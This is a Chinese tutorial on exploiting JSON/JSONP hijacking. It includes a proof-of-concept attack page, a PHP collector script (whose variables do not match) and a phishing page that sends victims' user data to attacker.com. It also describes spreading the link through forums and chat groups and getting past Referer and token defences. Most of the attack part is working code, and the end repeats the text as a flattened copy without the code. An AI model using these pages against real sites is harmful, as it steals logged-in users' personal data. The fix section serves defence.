小学生都会挖掘的JSON Hijacking实战利用
字数 1019 2025-08-18 11:37:53

JSON Hijacking漏洞挖掘与利用实战教学文档

1. 漏洞概述

JSON Hijacking(JSON劫持)是一种客户端安全漏洞,攻击者能够窃取用户敏感数据。该漏洞与CSRF类似但原理不同,主要针对返回JSON数据的接口进行攻击。

2. 漏洞挖掘方法

2.1 寻找潜在目标

  • 使用Burp Suite代理工具的History功能
  • 过滤返回JSON格式数据的接口
  • 重点关注包含敏感信息的接口(如用户ID、用户名、手机号等)

2.2 识别特征

  • 接口返回JSONP格式数据(带回调函数)
  • 返回数据中包含用户敏感信息
  • 接口缺乏有效的防护措施

3. 漏洞验证(POC)

3.1 基本POC示例

假设目标接口返回数据格式:

txf({"data":{"name":"唐晓峰"}});

构造攻击页面:

<html>
<head>
<script>
function txf(a){
    alert(a.data.name);
}
</script>
<script src="http://victim.com/User/getUserInfo?callback=txf"></script>
</body>
</html>

3.2 验证结果

当受害者访问该页面时,会弹窗显示其用户名,证明漏洞存在。

4. 漏洞利用实战

4.1 搭建攻击环境

  1. 准备Web服务器(如使用phpstudy)
  2. 创建接收数据的服务端脚本(json.php):
<?php
$nickname=$_GET['name'];
$fp = fopen('info.txt','a');
$flag = fwrite($fp, "名字: ".$name."\r\n");
?>

4.2 构造钓鱼页面(钓鱼.html)

<head>
<title>txf</title>
<script>
var xmlhttp;
function txf(a) {
    xmlhttp=new XMLHttpRequest()
    var x="http://attacker.com/json.php?name="+a.data.name;
    xmlhttp.open("GET", x, true);
    xmlhttp.send();
}
</script>
<script src="http://victim.com/api?callback=txf"></script>
</head>
<body>
<textarea>钓鱼啦,傻瓜</textarea>
</body>
</html>

4.3 攻击流程

  1. 将钓鱼链接(http://attacker.com/钓鱼.html)发送给目标用户
  2. 通过论坛、QQ群、贴吧等渠道传播
  3. 当已登录目标网站的用户访问该链接时,其敏感数据会被发送到攻击者服务器

5. 漏洞修复与绕过

5.1 常见修复方案

  1. Referer白名单验证

    • 只允许特定域名的请求
    • 绕过方法:
      • 子域名绕过
      • 文件名绕过
      • 空Referer绕过
  2. 增加Token认证

    • 使用CSRF Token验证
    • 绕过方法:
      • 如果Token简单(如纯数字),可尝试遍历
      • 复杂或加密Token难以绕过
  3. 禁用接口

    • 彻底禁用存在风险的接口
    • 无法绕过

5.2 最佳修复实践

  • 使用标准JSON格式而非JSONP
  • 添加CSRF Token
  • 验证HTTP头部(如Origin/X-Requested-With)
  • 设置Content-Type为application/json
  • 避免敏感数据通过GET请求返回

6. 漏洞危害评估

  • 影响范围:已登录目标网站的用户
  • 危害程度:可窃取用户敏感信息
  • 利用难度:中等,需要用户交互

7. 总结

JSON Hijacking是一种有效的客户端数据窃取技术,通过精心构造的钓鱼页面,攻击者可以获取用户的敏感信息。防御措施应重点关注接口的安全设计和访问控制。

注意:本文仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。

JSON Hijacking漏洞挖掘与利用实战教学文档 1. 漏洞概述 JSON Hijacking(JSON劫持)是一种客户端安全漏洞,攻击者能够窃取用户敏感数据。该漏洞与CSRF类似但原理不同,主要针对返回JSON数据的接口进行攻击。 2. 漏洞挖掘方法 2.1 寻找潜在目标 使用Burp Suite代理工具的History功能 过滤返回JSON格式数据的接口 重点关注包含敏感信息的接口(如用户ID、用户名、手机号等) 2.2 识别特征 接口返回JSONP格式数据(带回调函数) 返回数据中包含用户敏感信息 接口缺乏有效的防护措施 3. 漏洞验证(POC) 3.1 基本POC示例 假设目标接口返回数据格式: 构造攻击页面: 3.2 验证结果 当受害者访问该页面时,会弹窗显示其用户名,证明漏洞存在。 4. 漏洞利用实战 4.1 搭建攻击环境 准备Web服务器(如使用phpstudy) 创建接收数据的服务端脚本(json.php): 4.2 构造钓鱼页面(钓鱼.html) 4.3 攻击流程 将钓鱼链接(http://attacker.com/钓鱼.html)发送给目标用户 通过论坛、QQ群、贴吧等渠道传播 当已登录目标网站的用户访问该链接时,其敏感数据会被发送到攻击者服务器 5. 漏洞修复与绕过 5.1 常见修复方案 Referer白名单验证 只允许特定域名的请求 绕过方法: 子域名绕过 文件名绕过 空Referer绕过 增加Token认证 使用CSRF Token验证 绕过方法: 如果Token简单(如纯数字),可尝试遍历 复杂或加密Token难以绕过 禁用接口 彻底禁用存在风险的接口 无法绕过 5.2 最佳修复实践 使用标准JSON格式而非JSONP 添加CSRF Token 验证HTTP头部(如Origin/X-Requested-With) 设置Content-Type为application/json 避免敏感数据通过GET请求返回 6. 漏洞危害评估 影响范围 :已登录目标网站的用户 危害程度 :可窃取用户敏感信息 利用难度 :中等,需要用户交互 7. 总结 JSON Hijacking是一种有效的客户端数据窃取技术,通过精心构造的钓鱼页面,攻击者可以获取用户的敏感信息。防御措施应重点关注接口的安全设计和访问控制。 注意 :本文仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。